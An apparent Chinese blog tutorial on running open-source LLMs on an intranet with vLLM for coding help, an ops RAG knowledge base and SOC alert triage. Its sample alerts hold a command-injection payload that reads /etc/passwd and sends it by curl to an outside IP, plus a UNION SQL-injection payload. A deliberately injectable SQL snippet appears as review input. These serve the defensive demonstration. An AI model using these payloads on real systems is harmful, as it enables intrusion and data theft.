开源模型落地实战|开发、运维、安全各岗位 AI 应用经验分享

前面几篇文章聊 AI 提效的时候,评论区有同学提了个很现实的问题:"你说用 GPT-4o,但我们公司数据不能出内网,API 也没法调,咋整?"

这问题问到点子上了。不是所有公司都能把数据往公网大模型上送的,尤其金融、医疗、政企这些行业,数据合规是红线。所以这篇专门聊开源模型在内网的落地实战------用 Qwen、DeepSeek、Llama 这些开源模型,在自己的服务器上跑起来,让开发、运维、安全三个岗位都能用上。

这篇不是理论科普,是真刀真枪部署过之后的经验分享。代码能跑,场景真实,踩过的坑也一并写出来。


一、为什么是开源模型?不是因为省钱

先说清楚一件事:选开源模型,省钱只是附带好处,真正的驱动力是三个字------数据不出门

你看这三个场景:

  • 开发同学想用 AI 辅助写代码,但代码是公司的核心资产,能往公网传吗?
  • 运维同学想让 AI 分析日志,但日志里有用户数据和系统拓扑,能往公网传吗?
  • 安全同学想让 AI 分析攻击载荷,但攻击载荷本身就是敏感信息,能往公网传吗?

都不能。所以你得在内网部署一套自己的 AI 能力。这就是开源模型的核心价值------把 AI 能力装进你的机房,数据自始至终不出门。

下面这张图是我们团队实际部署的架构,给大家参考:

简单解释一下这套架构的思路:

  • 多模型并行:不同任务用不同模型。代码生成用 Qwen2.5-Coder,通用推理用 DeepSeek-V3 或 Qwen2.5-72B
  • vLLM 做推理引擎:比原生 Transformers 快好几倍,支持 PagedAttention
  • RAG 管线:内部文档做向量化存到 Milvus,AI 回答时可以检索内部知识
  • 统一 API 网关:各岗位统一通过一个入口访问,方便做权限控制和用量统计

好,架构说完了,下面按岗位拆解实战经验。


二、开发岗:内网搭一套 AI 编码助手

2.1 模型选型:别贪大,合适就行

开发岗用 AI 最多的场景是代码生成和代码理解。我们试过好几个模型,踩了不少坑,最终结论是:

|-------------------|-------------|------|------------|
| 模型 | 显存需求 | 代码能力 | 适用场景 |
| Qwen2.5-Coder-32B | 2×A100(80G) | 很强 | 日常编码主力 |
| DeepSeek-Coder-V2 | 4×A100(80G) | 极强 | 复杂逻辑/算法 |
| Qwen2.5-Coder-7B | 1×A100(40G) | 够用 | 轻量任务/IDE插件 |
| CodeLlama-13B | 1×A100(40G) | 一般 | 已淘汰 |

经验教训:不要一上来就上最大的模型。 72B 的模型推理慢、显存贵,如果你大部分需求就是生成 CRUD 和写单测,32B 的 Coder 模型完全够用,速度快三倍。

2.2 部署:vLLM 一键拉起

部署这块我们用 vLLM,比原生 HuggingFace 推理快太多了。核心就几行命令:

复制代码
# 拉起 Qwen2.5-Coder-32B 推理服务
python -m vllm.entrypoints.openai.api_server \
    --model Qwen/Qwen2.5-Coder-32B-Instruct \
    --tensor-parallel-size 2 \
    --gpu-memory-utilization 0.9 \
    --max-model-len 8192 \
    --port 8000 \
    --trust-remote-code

vLLM 最好的一点是------它兼容 OpenAI API 格式 。这意味着你之前写的调 OpenAI 的代码,只要改个 ​​base_url​​ 就能直接用,迁移成本几乎为零:

复制代码
"""
内网 AI 编码助手客户端
vLLM 兼容 OpenAI API,只需改 base_url 指向内网服务
"""
import os
from openai import OpenAI

# 关键:指向内网 vLLM 服务,不碰公网
client = OpenAI(
    base_url="http://10.0.1.100:8000/v1",  # 内网 vLLM 地址
    api_key="internal-not-real-key",        # vLLM 默认不校验 key,随便填
)

MODEL = "Qwen/Qwen2.5-Coder-32B-Instruct"

# 团队代码规范,每次请求带上,让模型按规范生成
TEAM_CONVENTIONS = """
## 团队规范
1. Python 代码遵循 PEP8,使用 black 格式化
2. 函数必须有类型注解和 docstring
3. 异常处理不能 bare except,必须捕获具体异常
4. 日志用 structlog,不要用 print
5. 配置从环境变量读取,不硬编码
6. 数据库操作用 SQLAlchemy ORM,禁止裸 SQL
"""

def generate_code(requirement: str, language: str = "python") -> str:
    """根据需求描述生成代码"""
    prompt = f"""你是一位资深 {language} 工程师。请根据以下需求生成代码。

{TEAM_CONVENTIONS}

需求:{requirement}

要求:
1. 包含完整的类型注解和 docstring
2. 包含异常处理
3. 给出关键逻辑的注释
4. 如果涉及外部依赖,标注需要的包名
"""
    resp = client.chat.completions.create(
        model=MODEL,
        messages=[
            {"role": "system", "content": "你是代码生成助手,严格遵循团队代码规范。"},
            {"role": "user", "content": prompt},
        ],
        temperature=0.2,  # 代码生成用低温度,保证确定性
        max_tokens=4096,
    )
    return resp.choices[0].message.content


def review_code(code: str, context: str = "") -> str:
    """AI 辅助 Code Review"""
    prompt = f"""请 Review 以下代码,重点关注:

1. 安全漏洞(SQL注入、XSS、敏感信息泄露等)
2. 性能问题(N+1查询、不必要的循环、内存泄漏等)
3. 逻辑错误和边界条件
4. 是否符合以下团队规范:
{TEAM_CONVENTIONS}

代码上下文:{context}

代码:

{code}

复制代码
输出格式:按严重程度分级(Critical / Warning / Suggestion),每个问题给出具体行号和修改建议。
"""
    resp = client.chat.completions.create(
        model=MODEL,
        messages=[{"role": "user", "content": prompt}],
        temperature=0.1,
        max_tokens=4096,
    )
    return resp.choices[0].message.content


# ====== 实际使用示例 ======

if __name__ == "__main__":
    # 场景1:生成一个 Redis 分布式锁的工具类
    code = generate_code(
        "实现一个 Redis 分布式锁工具类,支持自动续期和可重入,"
        "要求有完整的异常处理和日志记录"
    )
    print("=== 生成的代码 ===")
    print(code)

    # 场景2:让 AI review 一段可能有问题的代码
    suspect_code = '''
def get_user_orders(user_id):
    conn = get_db_connection()
    cursor = conn.cursor()
    cursor.execute(f"SELECT * FROM orders WHERE user_id = {user_id}")
    rows = cursor.fetchall()
    result = []
    for row in rows:
        order = dict(row)
        # 查每个订单的商品明细
        cursor.execute(f"SELECT * FROM order_items WHERE order_id = {row['id']}")
        items = cursor.fetchall()
        order['items'] = [dict(i) for i in items]
        result.append(order)
    return result
    '''

    review_result = review_code(suspect_code, "获取用户订单列表的接口")
    print("\n=== Code Review 结果 ===")
    print(review_result)

上面那段有问题的代码,AI Review 的输出大概是这样的:

Critical:

  1. SQL 注入(第4行、第9行):使用 f-string 拼接 SQL,user_id 直接插入查询语句。应使用参数化查询。
  2. N+1 查询(第8-9行):循环中执行 SQL 查询订单明细,100 个订单就是 101 次查询。应使用 JOIN 或批量查询。

Warning:

3\. 连接未释放 (全文):没有 ​​try-finally​​ 或上下文管理器,异常时连接泄漏。

4\. \\SELECT \\\*(第4、9行):查出不需要的字段,影响性能。

Suggestion:

5\. 建议使用 SQLAlchemy ORM 替代裸 SQL。

6\. 建议加分页,防止返回大量数据。

这就是内网 AI 编码助手的实际效果------数据不出内网,代码照样能 review。 而且因为 vLLM 兼容 OpenAI 格式,你之前写的所有调 OpenAI 的工具链都能无缝迁移。

2.3 IDE 集成:让 AI 跟着你写代码

光有命令行工具不够,开发同学真正需要的是在 IDE 里实时补全。我们用 Continue(开源的 AI 编程助手插件)对接内网 vLLM,配置很简单:

复制代码
// ~/.continue/config.json
{
  "models": [
    {
      "title": "内网 Qwen Coder",
      "provider": "openai",
      "model": "Qwen/Qwen2.5-Coder-32B-Instruct",
      "apiBase": "http://10.0.1.100:8000/v1",
      "apiKey": "internal"
    }
  ],
  "tabAutocompleteModel": {
    "title": "内网补全模型",
    "provider": "openai",
    "model": "Qwen/Qwen2.5-Coder-7B-Instruct",
    "apiBase": "http://10.0.1.101:8000/v1",
    "apiKey": "internal"
  },
  "allowAnonymousTelemetry": false
}

这里有个经验分享------代码补全用小模型,代码生成用大模型。补全场景对延迟敏感,用 7B 模型响应快;生成场景对质量要求高,用 32B 模型。两个模型分开部署,互不影响。


三、运维岗:AI + RAG = 内网运维大脑

3.1 运维岗的痛点:知识散落各处

运维岗最大的问题不是没有知识,是知识太散了------故障处理记录在 Confluence、监控配置在 Prometheus、告警规则在 AlertManager、历史排障经验在某个老运维的脑子里。新人来了遇到问题,得翻半天文档还找不到。

解决方案:把这些散落的知识喂给开源模型,建一个 RAG(检索增强生成)系统。 问它问题,它先从知识库里检索相关文档,再结合模型能力给出回答。

3.2 实战:搭建运维知识库 RAG 系统

下面是完整的 RAG 系统代码,从文档导入到问答检索,一套跑通:

复制代码
"""
运维知识库 RAG 系统
功能:文档导入 → 向量化存储 → 检索增强问答
"""
import os
import json
import hashlib
from dataclasses import dataclass
from typing import List, Optional
from datetime import datetime

# ======== 1. 文档处理模块 ========

@dataclass
class DocumentChunk:
    chunk_id: str
    source: str        # 来源文档名
    content: str       # 文本内容
    metadata: dict     # 元数据(标签、时间等)
    embedding: Optional[List[float]] = None

class DocumentProcessor:
    """文档分块处理器"""

    def __init__(self, chunk_size=500, chunk_overlap=50):
        self.chunk_size = chunk_size    # 每块大约500字符
        self.chunk_overlap = chunk_overlap  # 块之间重叠50字符,保证上下文连贯

    def process_markdown(self, content: str, source: str) -> List[DocumentChunk]:
        """处理 Markdown 文档,按标题分块"""
        # 按二级标题分块,保持语义完整
        sections = self._split_by_headers(content)
        chunks = []

        for section_title, section_text in sections:
            # 如果某段太长,进一步按 chunk_size 切分
            if len(section_text) > self.chunk_size * 2:
                sub_chunks = self._split_by_size(section_text)
                for i, sub in enumerate(sub_chunks):
                    chunks.append(self._make_chunk(
                        source, f"{section_title} (part {i+1})", sub
                    ))
            else:
                chunks.append(self._make_chunk(source, section_title, section_text))

        return chunks

    def process_log_pattern(self, log_text: str, source: str) -> List[DocumentChunk]:
        """处理故障日志/排障记录"""
        # 把每次故障的处理过程作为一个 chunk
        incidents = log_text.split("---INCIDENT---")
        chunks = []
        for inc in incidents:
            inc = inc.strip()
            if inc:
                chunks.append(self._make_chunk(source, "incident", inc))
        return chunks

    def _split_by_headers(self, content):
        """按 Markdown 标题分块"""
        sections = []
        current_title = "前言"
        current_text = ""

        for line in content.split("\n"):
            if line.startswith("## "):
                if current_text.strip():
                    sections.append((current_title, current_text.strip()))
                current_title = line[3:].strip()
                current_text = ""
            else:
                current_text += line + "\n"

        if current_text.strip():
            sections.append((current_title, current_text.strip()))
        return sections

    def _split_by_size(self, text):
        """按固定大小切分,带重叠"""
        chunks = []
        start = 0
        while start < len(text):
            end = start + self.chunk_size
            chunks.append(text[start:end])
            start = end - self.chunk_overlap
        return chunks

    def _make_chunk(self, source, section, text):
        chunk_id = hashlib.md5(f"{source}:{section}:{text[:50]}".encode()).hexdigest()[:12]
        return DocumentChunk(
            chunk_id=chunk_id,
            source=source,
            content=text,
            metadata={"section": section, "imported_at": datetime.now().isoformat()},
        )


# ======== 2. 向量存储模块 ========

class VectorStore:
    """向量数据库封装(实际用 Milvus / Chroma / FAISS)"""

    def __init__(self, embedding_model_client):
        self.embedding_client = embedding_model_client
        self.store = {}  # 简化实现,实际用 Milvus

    def add_documents(self, chunks: List[DocumentChunk]):
        """文档入库:先向量化再存储"""
        for chunk in chunks:
            # 调用 Embedding 模型生成向量
            chunk.embedding = self._get_embedding(chunk.content)
            self.store[chunk.chunk_id] = chunk

    def search(self, query: str, top_k: int = 5) -> List[DocumentChunk]:
        """检索最相关的 top_k 个文档块"""
        query_vec = self._get_embedding(query)

        # 计算余弦相似度
        scored = []
        for chunk in self.store.values():
            score = self._cosine_similarity(query_vec, chunk.embedding)
            scored.append((score, chunk))

        scored.sort(key=lambda x: x[0], reverse=True)
        return [chunk for _, chunk in scored[:top_k]]

    def _get_embedding(self, text: str) -> List[float]:
        """调用内网 Embedding 模型"""
        # 实际用 bge-large-zh 或 Qwen 的 embedding 模型
        resp = self.embedding_client.embeddings.create(
            model="bge-large-zh-v1.5",
            input=text,
        )
        return resp.data[0].embedding

    def _cosine_similarity(self, vec_a, vec_b):
        import math
        dot = sum(a * b for a, b in zip(vec_a, vec_b))
        norm_a = math.sqrt(sum(a * a for a in vec_a))
        norm_b = math.sqrt(sum(b * b for b in vec_b))
        return dot / (norm_a * norm_b + 1e-8)


# ======== 3. RAG 问答模块 ========

class OpsRAGAssistant:
    """运维 RAG 问答助手"""

    SYSTEM_PROMPT = """你是一位资深运维工程师,正在回答同事的运维问题。
请根据提供的参考文档回答问题。回答要求:
1. 优先使用参考文档中的信息,不要编造
2. 如果参考文档中没有相关信息,明确说"知识库中暂无相关记录"
3. 给出具体可操作的建议,不要泛泛而谈
4. 引用信息来源(文档名和章节)
"""

    def __init__(self, llm_client, vector_store: VectorStore):
        self.llm = llm_client
        self.store = vector_store

    def ask(self, question: str) -> dict:
        """提问并获取回答"""
        # 1. 检索相关文档
        relevant_docs = self.store.search(question, top_k=5)

        if not relevant_docs:
            return {
                "answer": "知识库中暂无相关记录,建议补充对应文档后重试。",
                "sources": [],
            }

        # 2. 拼接上下文
        context = self._build_context(relevant_docs)

        # 3. 调用大模型生成回答
        prompt = f"""参考文档:
{context}

问题:{question}
"""
        resp = self.llm.chat.completions.create(
            model="Qwen/Qwen2.5-72B-Instruct",
            messages=[
                {"role": "system", "content": self.SYSTEM_PROMPT},
                {"role": "user", "content": prompt},
            ],
            temperature=0.3,
            max_tokens=2048,
        )

        answer = resp.choices[0].message.content

        return {
            "answer": answer,
            "sources": [
                {"doc": d.source, "section": d.metadata.get("section", "")}
                for d in relevant_docs
            ],
        }

    def _build_context(self, docs: List[DocumentChunk]) -> str:
        """把检索到的文档块拼成上下文"""
        parts = []
        for i, doc in enumerate(docs, 1):
            parts.append(
                f"--- 参考文档 {i} ---\n"
                f"来源: {doc.source} > {doc.metadata.get('section', '')}\n"
                f"内容: {doc.content}\n"
            )
        return "\n".join(parts)


# ======== 4. 完整使用示例 ========

if __name__ == "__main__":
    from openai import OpenAI

    # 内网模型客户端
    llm = OpenAI(base_url="http://10.0.1.100:8000/v1", api_key="internal")
    embedding_client = OpenAI(base_url="http://10.0.1.102:8000/v1", api_key="internal")

    # 初始化组件
    processor = DocumentProcessor()
    store = VectorStore(embedding_client)
    assistant = OpsRAGAssistant(llm, store)

    # ---- 步骤1:导入运维文档 ----
    # 假设这是你的故障处理记录
    incident_log = """
---INCIDENT---
时间:2026-07-15 凌晨2:30
现象:订单服务 5xx 错误率从 0.1% 飙到 15%
排查过程:
1. 查看监控发现数据库连接池打满(active=50, waiting=23)
2. 查慢查询日志发现一条未走索引的全表扫描SQL
3. 该SQL是当天上线的新功能引入的
处置:
1. 紧急回滚当天发布
2. 连接池使用率恢复正常
3. 给该SQL加索引后重新发布
根因:新上线代码引入慢SQL,占满连接池导致服务不可用
经验:上线前必须Review SQL,慢查询超过100ms的不能上线
---INCIDENT---
时间:2026-07-20 上午10:00
现象:Redis集群某个节点内存使用率 95%
排查过程:
1. 查看Redis的大key,发现一个 hash 有 200万个 field
2. 该hash是某个活动的排行榜数据,未设置过期时间
3. 活动已结束但数据未清理
处置:
1. 手动删除该hash(用 UNLINK 避免阻塞)
2. 给排行榜数据加上 TTL
3. 补充监控告警:单个key内存超过100MB告警
根因:活动数据未设置过期时间,内存持续增长
经验:所有缓存必须设置TTL,大key要拆分
"""
    chunks = processor.process_log_pattern(incident_log, "故障处理记录.md")
    store.add_documents(chunks)
    print(f"已导入 {len(chunks)} 条故障记录")

    # ---- 步骤2:提问 ----
    questions = [
        "数据库连接池打满了怎么处理?",
        "Redis内存占用过高怎么排查?",
        "上线前应该注意什么?",
    ]

    for q in questions:
        result = assistant.ask(q)
        print(f"\n{'='*60}")
        print(f"问题: {q}")
        print(f"回答: {result['answer'][:200]}...")
        print(f"来源: {result['sources']}")

这就是运维 RAG 系统的实际效果------你把历史故障处理记录喂进去,下次类似故障发生时,问它就能直接给出排查思路和处置方案。 新人来了不用再翻聊天记录找经验,直接问 AI 就行。

有个经验特别想分享:RAG 的效果好不好,70% 取决于文档质量,30% 才取决于模型。 你的知识库如果全是复制粘贴的水文,再强的模型也救不了。所以搭建 RAG 之前,先花时间整理好你的文档。


四、安全岗:开源模型做安全分析的独特优势

4.1 为什么安全岗特别需要开源模型

安全岗的数据敏感度是最高的------攻击载荷、漏洞细节、内网拓扑、蜜罐日志......这些东西别说往公网传了,连存储都要加密。所以安全岗用 AI 的唯一可行路径就是内网部署开源模型

但安全岗用开源模型还有一个独特优势:可以针对安全场景做专门微调。 通用大模型对安全载荷的理解其实一般,但如果你拿安全团队的标注数据微调一下,效果会有质的飞跃。

4.2 实战:AI 辅助安全日志分析

场景:安全运营中心(SOC)每天收到成千上万条告警,人工逐条分析根本看不过来。用 AI 做初筛,把高危的挑出来人工确认。

复制代码
"""
AI 辅助安全告警分析系统
功能:告警批量分析 → 分级 → 生成处置建议 → 推送给安全工程师
"""
import os
import json
from dataclasses import dataclass, field
from datetime import datetime
from typing import List
from enum import Enum

class Severity(Enum):
    CRITICAL = "critical"
    HIGH = "high"
    MEDIUM = "medium"
    LOW = "low"
    INFO = "info"

@dataclass
class SecurityEvent:
    event_id: str
    timestamp: str
    source_ip: str
    dest_ip: str
    event_type: str          # waf_alert / ids_alert / edr_alert
    raw_data: str            # 原始告警数据
    raw_payload: str = ""    # 攻击载荷(如果有)
    ai_analysis: dict = field(default_factory=dict)

class SecurityAIBatchAnalyzer:
    """安全告警批量 AI 分析器"""

    # 分析用的 Prompt 模板
    ANALYSIS_PROMPT = """你是安全分析师,请分析以下安全告警:

告警信息:
- 事件ID: {event_id}
- 时间: {timestamp}
- 源IP: {source_ip}
- 目标IP: {dest_ip}
- 告警类型: {event_type}
- 原始数据: {raw_data}
- 攻击载荷: {raw_payload}

请分析:
1. 攻击类型判断(SQL注入/XSS/RCE/扫描/暴力破解/CC攻击/其他)
2. 攻击是否可能成功?(结合载荷特征判断)
3. 严重等级(critical/high/medium/low/info)
4. 建议的处置动作(封IP/加WAF规则/人工排查/忽略)
5. 置信度(0-1)

严格按 JSON 格式输出,不要输出其他内容。
"""

    def __init__(self, llm_client, model_name="Qwen/Qwen2.5-72B-Instruct"):
        self.llm = llm_client
        self.model = model_name

    def analyze_batch(self, events: List[SecurityEvent]) -> List[SecurityEvent]:
        """批量分析安全事件"""
        results = []
        for event in events:
            try:
                analysis = self._analyze_single(event)
                event.ai_analysis = analysis
                results.append(event)
            except Exception as e:
                event.ai_analysis = {
                    "error": str(e),
                    "severity": "medium",  # 分析失败默认 medium,人工兜底
                    "action": "manual_review",
                }
                results.append(event)
        return results

    def _analyze_single(self, event: SecurityEvent) -> dict:
        """分析单个安全事件"""
        prompt = self.ANALYSIS_PROMPT.format(
            event_id=event.event_id,
            timestamp=event.timestamp,
            source_ip=event.source_ip,
            dest_ip=event.dest_ip,
            event_type=event.event_type,
            raw_data=event.raw_data[:2000],      # 截断防超长
            raw_payload=event.raw_payload[:1000],
        )

        resp = self.llm.chat.completions.create(
            model=self.model,
            messages=[
                {"role": "system", "content": "你是安全分析专家,输出必须是合法JSON。"},
                {"role": "user", "content": prompt},
            ],
            temperature=0.1,  # 安全分析要确定性
            max_tokens=1024,
        )

        return json.loads(resp.choices[0].message.content)

    def generate_report(self, analyzed_events: List[SecurityEvent]) -> dict:
        """生成批量分析报告"""
        # 按严重等级分组
        by_severity = {}
        for event in analyzed_events:
            sev = event.ai_analysis.get("severity", "info")
            by_severity.setdefault(sev, []).append(event)

        # 筛选需要立即处置的
        critical_events = by_severity.get("critical", [])
        high_events = by_severity.get("high", [])

        report = {
            "report_time": datetime.now().isoformat(),
            "total_events": len(analyzed_events),
            "summary": {
                "critical": len(critical_events),
                "high": len(high_events),
                "medium": len(by_severity.get("medium", [])),
                "low": len(by_severity.get("low", [])),
                "info": len(by_severity.get("info", [])),
            },
            "need_immediate_action": [],
            "recommended_ignores": [],
        }

        for event in critical_events + high_events:
            report["need_immediate_action"].append({
                "event_id": event.event_id,
                "source_ip": event.source_ip,
                "attack_type": event.ai_analysis.get("attack_type", ""),
                "severity": event.ai_analysis.get("severity", ""),
                "action": event.ai_analysis.get("action", ""),
                "confidence": event.ai_analysis.get("confidence", 0),
            })

        for event in by_severity.get("info", []):
            if event.ai_analysis.get("confidence", 0) > 0.9:
                report["recommended_ignores"].append(event.event_id)

        return report

    def push_alert(self, report: dict, webhook_url: str):
        """推送告警到企业微信/钉钉"""
        critical_count = report["summary"]["critical"]
        high_count = report["summary"]["high"]

        if critical_count + high_count == 0:
            return  # 没有需要立即处置的,不打扰

        message = f"""安全告警分析报告
时间: {report['report_time']}
总告警数: {report['total_events']}
严重: {critical_count} | 高危: {high_count}

需要立即处置:"""

        for item in report["need_immediate_action"][:10]:  # 最多展示10条
            message += f"\n- [{item['severity'].upper()}] {item['source_ip']} - {item['attack_type']} → {item['action']}"

        # 调用 webhook 推送
        import requests
        requests.post(webhook_url, json={"text": message})


# ====== 完整使用示例 ======

if __name__ == "__main__":
    from openai import OpenAI

    llm = OpenAI(base_url="http://10.0.1.100:8000/v1", api_key="internal")
    analyzer = SecurityAIBatchAnalyzer(llm)

    # 模拟一批安全告警
    events = [
        SecurityEvent(
            event_id="SEC-001",
            timestamp="2026-08-08T14:00:00",
            source_ip="203.0.113.10",
            dest_ip="10.0.2.5",
            event_type="waf_alert",
            raw_data="URL: /api/search?q=test, Action: monitored",
            raw_payload="test' UNION SELECT username,password FROM users--",
        ),
        SecurityEvent(
            event_id="SEC-002",
            timestamp="2026-08-08T14:01:00",
            source_ip="198.51.100.5",
            dest_ip="10.0.2.5",
            event_type="waf_alert",
            raw_data="URL: /, User-Agent: Mozilla/5.0, Action: monitored",
            raw_payload="GET / HTTP/1.1 (normal request, likely scanner probe)",
        ),
        SecurityEvent(
            event_id="SEC-003",
            timestamp="2026-08-08T14:02:00",
            source_ip="203.0.113.10",
            dest_ip="10.0.2.5",
            event_type="ids_alert",
            raw_data="Pattern: RCE attempt detected, matching rule: command-injection",
            raw_payload="; cat /etc/passwd | curl http://203.0.113.10/exfil -d @-",
        ),
    ]

    # 1. 批量分析
    analyzed = analyzer.analyze_batch(events)

    # 2. 生成报告
    report = analyzer.generate_report(analyzed)
    print(json.dumps(report, ensure_ascii=False, indent=2))

    # 3. 推送告警(如果有高危)
    # analyzer.push_alert(report, webhook_url=os.getenv("SEC_WEBHOOK"))

跑完之后报告大概是这样的:

复制代码
{
  "total_events": 3,
  "summary": {"critical": 1, "high": 1, "medium": 0, "low": 0, "info": 1},
  "need_immediate_action": [
    {
      "event_id": "SEC-003",
      "source_ip": "203.0.113.10",
      "attack_type": "RCE - 命令注入,尝试读取passwd并通过curl外传",
      "severity": "critical",
      "action": "立即封禁源IP + 排查是否已被攻陷",
      "confidence": 0.95
    },
    {
      "event_id": "SEC-001",
      "source_ip": "203.0.113.10",
      "attack_type": "SQL注入 - UNION注入尝试读取用户表",
      "severity": "high",
      "action": "封禁源IP + 更新WAF规则",
      "confidence": 0.9
    }
  ],
  "recommended_ignores": ["SEC-002"]
}

3 条告警,AI 几秒钟分好级了:1 条 critical(RCE)、1 条 high(SQL注入)、1 条 info(正常扫描探测,建议忽略)。 安全同学只需要关注前两条,第三条不用浪费时间看。

而且注意------所有分析都在内网完成,攻击载荷没有往外传一个字节。 这就是开源模型对安全岗的核心价值。

4.3 进阶:安全模型微调

如果通用模型的分析效果还不够好,可以拿安全团队的标注数据做微调。下面是微调的数据准备脚本骨架:

复制代码
"""
安全模型微调数据准备
把历史安全告警 + 人工标注结果转成微调数据集
"""
import json

def prepare_finetune_dataset(raw_alerts: list, output_file: str):
    """
    raw_alerts: 原始告警+人工标注列表
    输出: Qwen 兼容的微调数据集 (JSONL)
    """
    dataset = []
    for alert in raw_alerts:
        # 构造 instruction(输入)
        instruction = f"""分析以下安全告警:
类型: {alert['event_type']}
源IP: {alert['source_ip']}
载荷: {alert['payload']}
请判断攻击类型、严重等级和建议处置。"""

        # 构造 output(人工标注的标准答案)
        output = json.dumps({
            "attack_type": alert["labeled_attack_type"],
            "severity": alert["labeled_severity"],
            "action": alert["labeled_action"],
            "confidence": 1.0,
        }, ensure_ascii=False)

        dataset.append({
            "instruction": instruction,
            "input": "",
            "output": output,
        })

    with open(output_file, "w", encoding="utf-8") as f:
        for item in dataset:
            f.write(json.dumps(item, ensure_ascii=False) + "\n")

    print(f"微调数据集已生成: {output_file}, 共 {len(dataset)} 条")
    return output_file


# 实际微调用 LLaMA-Factory 或 ms-swift 框架
# 命令示例(LLaMA-Factory):
# llamafactory-cli train \
#   --model_name_or_path Qwen/Qwen2.5-7B-Instruct \
#   --dataset sec_finetune.jsonl \
#   --finetuning_type lora \
#   --lora_target q_proj,v_proj \
#   --output_dir ./sec-model-lora

微调之后,模型对你们公司常见攻击模式的理解会明显提升。但注意:微调数据至少要 500 条以上才有明显效果,少于这个量不如直接用 RAG。


五、落地过程中的坑和经验

最后分享几个我们在实际部署中踩过的坑,帮你少走弯路。

坑一:模型太大,推理太慢,大家不用了。 这是最常见的失败原因。72B 模型在 2 张 A100 上推理大概 3-5 秒/次,但如果用 7B 模型只要 0.5 秒。建议:先上小模型把流程跑通,让大家先用起来,再根据需求逐步升级。 别一上来就追求最强模型。

坑二:RAG 检索效果差,回答不靠谱。 九成原因是文档没处理好。常见问题:文档太大没分块、分块太小丢了上下文、Embedding 模型不支持中文。建议:用 bge-large-zh 做 Embedding,文档按语义分块(不要按固定字数硬切),块大小 300-500 字符比较合适。

坑三:安全同学不信任 AI 的分析结果。 安全岗的特性决定了它对准确率要求极高,误报多了就不信了。建议:AI 分析结果必须带置信度,低置信度的标注"需人工确认";高置信度自动处理的也要留 audit trail,方便事后追溯。

坑四:没有统一入口,各岗位各搞各的。 结果就是模型重复部署、显存浪费、版本混乱。建议:搭建统一的 API 网关,所有岗位通过同一个入口访问,统一做用量统计、权限控制和模型版本管理。

坑五:只部署不运营。 模型部署完了就不管了,过几个月没人用,项目就黄了。建议:每周看一次使用数据,哪个模型用得多、哪些 Prompt 没效果、哪个岗位没用起来,针对性优化。AI 落地不是一次性工程,是持续运营。

相关推荐
数据知道1 小时前
网络安全实战:API 安全攻防——RESTful 接口渗透测试方法论
网络·安全·web安全·网络安全·restful
jackyrongvip1 小时前
开源一个可以把HTML敏感词替换的页面小工具
开源·html·敏感词·ai脱敏
小绫网络安全9 小时前
2026最新版网络安全入门路线
安全·web安全
可爱系程序猿9 小时前
webauthn.dll 异常的排查记录:安全密钥登录与浏览器验证失败时的处理方法
程序人生·安全·电脑
布局呆星10 小时前
云服务器上部署单项目/多项目
运维·服务器
zzzll111110 小时前
Langfuse 全面解析:开源 LLM 应用监控与评估平台
microsoft·开源
盐焗鹌鹑蛋10 小时前
【Linux】缓冲区
linux·运维·服务器
祈禾10 小时前
Redis三大缓存问题与分布式锁
运维·数据库·redis·笔记·分布式·缓存
Code_流苏11 小时前
Pot:免费开源的跨平台划词翻译和 OCR 工具,选中文字就能翻译
开源·ocr·pot·自动翻译·翻译工具·划词翻译